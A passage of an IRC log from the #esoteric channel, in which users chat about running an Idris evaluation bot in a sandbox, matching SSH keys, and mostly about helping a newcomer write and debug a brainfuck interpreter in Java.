dog through a field with cows in it. And I punched myself in the face once. < 1393891371 774397 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Punching myself in the face is proving to be addictive help < 1393891384 832624 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :have you tried turning it off and on again < 1393891413 126706 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net JOIN :#esoteric < 1393891420 514417 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Bike, yes < 1393891471 9236 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :Tanelle. with which hand do you punch yourself in the face with? < 1393891606 311569 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Is there any way to do things like 'with' with the bot? < 1393891618 891012 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I imagine I can only do lambdas, are those more limited in Idris than Haskell? < 1393891692 47670 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Ok, so oerjan is getting annoyed < 1393891718 205233 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I have a prgmr that I might be able to run the bot on < 1393891731 267625 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Melvar: is there any risk of someone taking over my system if I blindly run the bot? < 1393892137 646351 :Melvar!~melvar@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :Sgeo: Taking over, not so likely. Denial-of-service is a real possibility. You should put resource limits on it, particularly memory. On the other hand, I will make no guarantees that there are no bugs exploitable for arbitrary code execution or the like, I merely find it unlikely enough to run the bot myself. < 1393892161 915962 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I don't know how to do resource limits :/ < 1393892170 22247 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Or.. much, really < 1393892170 966397 :Melvar!~melvar@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :On the other hand, “blindly” is hard: You need to have sandbox working anyway. < 1393892183 345114 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I haven't even touched my prgmr instance since I bought it < 1393892528 817812 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :boily, I used my right hand < 1393892572 688609 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Melvar: any idea why choose : (b : Bool) -> Either (so b) (so (not b)) instead of choose : (b : Bool) -> Either (so (not b)) (so b)? < 1393892858 959457 :spiette!~spiette@2607:fad8:4:6:f2de:f1ff:fe66:77e5 QUIT :Ping timeout: 265 seconds < 1393892877 67996 :itsy!~digital_w@37.152.198.84 QUIT :Read error: Connection reset by peer < 1393892975 713438 :itsy!~digital_w@37.152.198.84 JOIN :#esoteric < 1393893183 542412 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :time for my weekly endoubting session. < 1393893201 719688 :boily!~boily@96.127.201.149 QUIT :Quit: POSTMODERN CHICKEN (plus I'm leaving the cuttlefish logged in for you guys tonight!) < 1393893552 219334 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1393893564 150215 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Crud, I don't know my own password < 1393893636 584620 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Sgeo, is it "password1" < 1393893645 456033 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Probably not < 1393893656 730902 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :How about "sgeoiscool" < 1393893690 432565 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :How about I don't know where I put my private key < 1393893691 938607 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :hunter2 < 1393893735 843336 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :How can I check if a private key I have is the one for a public key? < 1393893790 197357 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I'm in < 1393893800 982857 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :At least, I'm in as my normal use < 1393893802 310620 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :user < 1393893812 123103 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I don't know if I'll be able to access console ever < 1393893893 497873 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Melvar: should I use cabal version of Idris? < 1393894054 828071 :Melvar!~melvar@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :Sgeo: I do so, anyway. < 1393894284 382386 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Anything in particular I need to install to get the bot working? < 1393894517 112227 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I don't understand how you have it on multiple channels < 1393894522 322490 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :The channel looks hardcoded < 1393894905 784284 :shikhin!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1393895074 836691 :Phantom__Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Read error: Connection reset by peer < 1393895172 670656 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu QUIT :Quit: restartin' < 1393895262 469378 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu JOIN :#esoteric < 1393895340 401616 :zzo38!~zzo38@24-207-51-179.eastlink.ca JOIN :#esoteric < 1393896580 449235 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :ACTION decides that if he gets the bot working, he will use prefix < < 1393896822 68395 :monotone!~monotone@room208.org PRIVMSG #esoteric : How can I check if a private key I have is the one for a public key? // For SSH? < 1393896837 505478 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :yes < 1393896857 999093 :monotone!~monotone@room208.org PRIVMSG #esoteric :You can use `ssh-keygen -y` to regenerate the public key from the private key and diff the two. < 1393897082 39488 :Melvar!~melvar@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :Sgeo: You need sandbox, so install selinux-policy-sandbox I think, and it’s a list of channels that’s hardcoded, and I haven’t pushed a version with #esoteric in it. < 1393897102 377239 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :ty < 1393898069 920183 :nooodl!~nooodl@91.177.100.186 QUIT :Quit: Ik ga weg < 1393898560 514589 :yorick!~yorick@oftn/member/yorick QUIT :Remote host closed the connection < 1393899299 299409 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net QUIT :Ping timeout: 240 seconds < 1393899365 788502 :Melvar!~melvar@dslb-188-109-006-022.pools.arcor-ip.net QUIT :Ping timeout: 252 seconds < 1393899928 459477 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :> :t (->) < 1393899929 433185 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:1: parse error on input `:' < 1393899933 298399 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Oh < 1393900121 553850 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric ::k (->) < 1393900122 354409 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :* -> * -> * < 1393900901 622449 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net JOIN :#esoteric < 1393901008 867886 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net JOIN :#esoteric < 1393901833 313825 :SailorR!~IceChat77@unaffiliated/sailorreality JOIN :#esoteric < 1393901852 882347 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :nuts < 1393901875 2818 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :legumes < 1393901897 964882 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :I kind of want to write a brainfuck interpreter but I dont know where to begin < 1393901904 72278 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :I know nothing of interpreters < 1393901914 222494 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :itd probably be really crappy if I tried < 1393901916 40482 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :it's pretty easy. < 1393901927 135144 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :just have a loop that looks at one character at a time and does something depending on what the character is. < 1393901942 207010 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :hm < 1393901962 956659 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :should I represent the 30 000 character bytestring as an array list of 0 bytes? < 1393901967 174853 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :in java < 1393901983 684955 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :whatever you want < 1393902015 690206 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :I looked at some peoples code and they had parsing engines and stuff < 1393902024 503568 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :and it looked really weird < 1393902026 469845 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :for brainfuck? < 1393902026 906254 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :I didnt understand < 1393902029 32497 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :yea < 1393902030 727455 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :let me get an e.g. < 1393902036 533733 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :not really necessary < 1393902105 452717 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :http://www.cs.princeton.edu/~ynaamad/misc/bf.htm < 1393902109 395347 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :like wtf < 1393902148 373668 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :that's not really a good example... < 1393902196 981808 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :yea it looks pretentious < 1393902201 214569 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :I cant find a 'good' example anywhere though < 1393902204 942546 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :all the code is obfuscated < 1393902206 633209 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :to look hard < 1393902223 72112 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :that's because a brainfuck interpreter is like ten lines of code. < 1393902263 83611 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :hm < 1393902320 593227 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :ok im excited now < 1393902324 579331 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :this is gonna be cool < 1393902344 53167 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :maybe I should read about interpreters first < 1393902356 524595 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :you're probably overthinking this. < 1393902359 969434 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :it's really, really simple. < 1393902394 759406 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :why is it so complicated for other programing langauges then? < 1393902398 927630 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :just to do a really basic one < 1393902408 457997 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :brainfuck has loops < 1393902410 294992 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :because most programming languages are more complicated than brainfuck. < 1393902411 619471 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :and I/O too < 1393902426 895313 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :most languages have more complicated loops and I/O than brainfuck. < 1393902438 353377 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :yea true < 1393902579 352926 :metasepia!~metasepia@96.127.201.149 QUIT :Remote host closed the connection < 1393902681 350209 :newsham_!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :write an rpn interpretter. come back in 3min when you're done. < 1393902725 286198 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :what if I wrote a brainfuck compiler instead? < 1393902732 69240 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :that's even easier. < 1393903500 520764 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :im not even sure I really get teh difference < 1393903501 289853 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :*the < 1393903641 354426 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :compiler doesnt execute just translates ? < 1393903643 565166 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :and type checks? < 1393903646 433664 :Sprocklem!~Sprocklem@S010674440130be65.cg.shawcable.net JOIN :#esoteric < 1393903948 74335 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :translates, yes. < 1393903956 604830 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :brainfuck doesn't have types really. < 1393904035 921380 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :A valid brainfuck program just has to have balanced [] < 1393904058 624376 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :zzo38: would it be okay to check that as the interpreter level < 1393904062 95380 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :or is that a compiler thing < 1393904072 77989 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :maybe I should have a seprate file that checks < 1393904077 271210 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :call it compiler.java ? < 1393904080 810482 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :Compiler* < 1393904089 62453 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :and another one that interprets / executes? < 1393904130 730111 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :SailorR: If a compiler is used, probably the compiler would check (otherwise you cannot really compile it properly). However, it can be done with only an interpreter, too. < 1393904196 981156 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :the JVM is an interpreter right? < 1393904241 744327 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :so to speak. < 1393904391 651419 :Sorella!~queen@oftn/member/Sorella QUIT :Quit: It is tiem! < 1393905471 193453 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I read on Wikipedia about "Advanced Chess" playing. It is involving a person who is using a computer to help to figure out what moves he should play. Players are given identical computers, but to improve, it should be specified something like: Identical computers are provided, with keyboard, mouse, printer, DVD-ROM, and serial port. Serial port is connected to a third smaller computer with the chess board placed on top and which displays time cont < 1393905541 678850 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :No software is provided other than the BIOS; any other software can be loaded into RAM by the user, before the game starts. No hard drive is included. You can bring only one DVD, presumably containing the software. < 1393905549 335743 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I think this is a better way? < 1393905604 306475 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :what are you a nerd < 1393906647 526247 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Why not just seal up the computer and preload the software? < 1393906799 247813 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :Because each given person brings their own computer software. < 1393908236 374650 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I think it would be better to bring your own software but have the hardware to be fixed, that is set by the tournament only. < 1393908422 783791 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1393909981 721862 :vravn!~vravn@syn.rook.sx QUIT :Excess Flood < 1393910150 735786 :vravn!~vravn@syn.rook.sx JOIN :#esoteric < 1393910398 670209 :^v!~Kevin@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1393910575 896130 :^v!~Kevin@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :is brainfuck a good compression algorithm? < 1393910706 154142 :lifthrasiir!~lifthrasi@115.68.131.49 PRIVMSG #esoteric :never. < 1393910723 197516 :lifthrasiir!~lifthrasi@115.68.131.49 PRIVMSG #esoteric :even after compressed in three-bit code. < 1393910723 777046 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1393910732 666461 :lifthrasiir!~lifthrasi@115.68.131.49 PRIVMSG #esoteric :and huffman coding (as Spoon does). < 1393910750 327144 :lifthrasiir!~lifthrasi@115.68.131.49 PRIVMSG #esoteric :and run-length encoding. < 1393910756 933355 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1393910771 371255 :lifthrasiir!~lifthrasi@115.68.131.49 PRIVMSG #esoteric :possibly after LZ77, but it is already a generic compression algorithm. < 1393910800 664702 :^v!~Kevin@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :o_o < 1393910901 499616 :^v!~Kevin@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :was thinking i could have a 4 bit sequence after every +/- bits to have length < 1393911001 780515 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 244 seconds < 1393911070 771551 :^v!~Kevin@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :oh thats run length encoding >_> < 1393911275 608797 :Friuum!~Friuum@198.7.229.2 JOIN :#esoteric < 1393911508 521670 :Friuum!~Friuum@198.7.229.2 PART #esoteric :"Textual IRC Client: www.textualapp.com" < 1393911593 505643 :realzies!~pinky@unaffiliated/realazthat QUIT :Ping timeout: 265 seconds < 1393912133 933581 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I have thought to use Huffman coding that depends on what the previous command is, and combine it with run-length < 1393912183 424117 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :So that "impossible" commands, as well as worthless commands such as +- -+ ][ <> >< cannot be encoded. < 1393912334 702260 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :It would compress a brainfuck program better than the other codes at least, but still not best way. < 1393913069 306929 :^v!~Kevin@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Quit: Leaving < 1393913790 483872 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :I really dont understand brainfuck loops < 1393913799 432624 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :in pseudocode how to implement [ ] < 1393913805 507238 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :I got everything else < 1393913860 781836 :lifthrasiir!~lifthrasi@115.68.131.49 PRIVMSG #esoteric :there are many strategies for implementing loops, which really depend on your implementation < 1393913885 86471 :lifthrasiir!~lifthrasi@115.68.131.49 PRIVMSG #esoteric :at least you need either a recursive function or a stack, or something more obscure < 1393913909 323478 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :ok I figured it was recursion maybe < 1393913926 542173 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :I check if the dataPointer is == 0 , if it is then I execute the right bracket? < 1393913927 903717 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :and if not < 1393913939 828701 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :I call my function recrusively ? < 1393913970 18816 :vravn!~vravn@syn.rook.sx QUIT :Excess Flood < 1393914047 289071 :lifthrasiir!~lifthrasi@115.68.131.49 PRIVMSG #esoteric :whenever hit [, check if the current cell is 0, if it's 0, jump to the next matching ] (that does not involve recursion but some counting), if it's not 0, save the current position (of [) and call itself. < 1393914080 386142 :vravn!~vravn@syn.rook.sx JOIN :#esoteric < 1393914082 61855 :lifthrasiir!~lifthrasi@115.68.131.49 PRIVMSG #esoteric :whenever hit ], this means either i) an unbalanced loop ([[]]]] etc.) or ii) that the function is called inside some loop and the loop body is about to end < 1393914111 542159 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :ah I see, thanks < 1393914153 125932 :lifthrasiir!~lifthrasi@115.68.131.49 PRIVMSG #esoteric :so a good strategy is to simply return on ], and the caller (which might be itself, in the [ case) should check the current cell again to decide whether to jump to the saved position (if it's not 0) or keep going (if it's 0). < 1393914194 828710 :Sprocklem!~Sprocklem@S010674440130be65.cg.shawcable.net QUIT :Ping timeout: 244 seconds < 1393914217 61781 :lifthrasiir!~lifthrasi@115.68.131.49 PRIVMSG #esoteric :if the function returns and the next code pointer points to ], then it is an unbalanced loop and should err. < 1393914295 787332 :shikhin!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1393915377 222255 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :imagine < 1393915384 641022 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :if someone wrote a GUI for brainfuck < 1393915747 991509 :vravn!~vravn@syn.rook.sx QUIT :Excess Flood < 1393915790 549480 :vravn!~vravn@syn.rook.sx JOIN :#esoteric < 1393916272 531293 :vravn!~vravn@syn.rook.sx QUIT :Excess Flood < 1393916390 429896 :vravn!~vravn@syn.rook.sx JOIN :#esoteric < 1393916418 754179 :ski!~ski@remote1.student.chalmers.se JOIN :#esoteric < 1393917029 259928 :HackEgo!~HackEgo@162.248.166.242 QUIT :Remote host closed the connection < 1393917632 114928 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :If that means a brainfuck IDE, there are several. < 1393917721 223127 :FreeFull!~freefull@defocus/sausage-lover QUIT : < 1393918300 13157 :ion!ion@heh.fi PRIVMSG #esoteric :http://www.theonion.com/articles/francis-ford-coppola-reveals-every-godfather-film,35423/ < 1393918646 794514 :MoALTz_!~no@user-31-175-247-158.play-internet.pl JOIN :#esoteric < 1393918930 83779 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1393919167 226220 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric : "Euclidean TSP issues are of course metric, but because of problems with floating point accuracy such instances are usually not considered in practice." hehhhhhh <-- i vaguely recall from back when i read the gödel's letter blog that these precision issues are bad enough that it's not completely known whether euclidean TSP is NP-hard when you give the cities by (x,y) coordinates instead of distances. < 1393919197 39001 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :or hm maybe its' not completely known whether it's in NP. < 1393920247 293493 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :awesome. < 1393920367 773936 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :that wasn't floating point, but arbitrary precision, though < 1393920662 418079 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :iirc the problem is that if two complicated expressions with square roots in them are very close, then it's not known a polynomial algorithm to check which is larger. < 1393920776 85441 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :*polynomial time < 1393921422 65389 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric : not really necessary <-- if you don't do parsing then you end up with that "scan across the code every time you move across a loop" thing < 1393921445 361425 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :which works, but sheesh < 1393921526 930706 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1393921557 460889 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ais523: so, are you chaotic evil today? < 1393921589 966329 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :oerjan: no < 1393921596 175747 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I'm actually relatively lawful good most of the time < 1393921614 108901 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i see. < 1393921621 738241 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :at first I wasn't sure whether I was lawful, then I noticed that pretty much the entire world seemed highly chaotic < 1393921629 951337 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :so my measuring stick was probably in the wrong place < 1393921649 40591 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :charming < 1393922009 784293 :atslash!~atslash@46.72.83.247 JOIN :#esoteric < 1393923342 913406 :MoALTz_!~no@user-31-175-247-158.play-internet.pl QUIT :Quit: brb < 1393923354 412837 :MoALTz!~no@user-31-175-247-158.play-internet.pl JOIN :#esoteric < 1393923558 266585 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :anyone know what I could be doing wrong with my brainfuck interpreter? < 1393923567 302858 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :http://ideone.com/lQZLkk < 1393923577 601020 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :I tried to put print statements inside the switch statement where the problem is < 1393923589 669203 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :it compiles and runs but doesnt do what its supposed to < 1393923611 809352 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :this is the main method < 1393923620 450290 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :http://ideone.com/Hcxbv9 < 1393923629 273778 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :and I'm running the brainfuck helloworld program in a file called file.txt < 1393923713 814938 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :also its java < 1393924170 986172 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :what's a program that breaks? < 1393924217 239564 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :well it doesnt 'break' persae it runs < 1393924226 82786 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :but doesnt do any kind of interpretation I think the , statement works < 1393924240 357294 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :does ,. work? < 1393924254 941580 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :let me check < 1393924284 192718 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :no < 1393924385 536558 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :prints blanks < 1393924388 773249 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :wtf ideone makes backspace work like the browser back button < 1393924397 645210 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i hate it already. < 1393924407 101375 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :but.. that's what backspace should do in a browser < 1393924427 137910 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :not when i am trying to edit stdin... < 1393924438 117211 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i suppose it wasn't actually an editable field. < 1393924451 932076 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :yea I like pastebin better < 1393924474 852796 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :SailorR: are you actually using ideone to run this? i see error messages. < 1393924483 701228 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :no just javac < 1393924484 617224 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :and java < 1393924487 4634 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :in command line < 1393924650 304377 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :SailorR: what does +++++++++++++++++++++++++++++++++. do? < 1393924665 613364 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :checking < 1393924685 221431 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :does nothing at all lol < 1393924689 776303 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm < 1393924698 933761 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :but I guess I wouldnt expect it to < 1393924720 204763 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :well i'm just trying to see if it's just some commands which break < 1393924726 981227 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :hm < 1393924734 598778 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :I'll try to put print statements to see if its actually working < 1393924735 406072 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :one sec < 1393924878 542302 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :hmm < 1393924880 872748 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :yea doesnt work < 1393924895 559179 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric 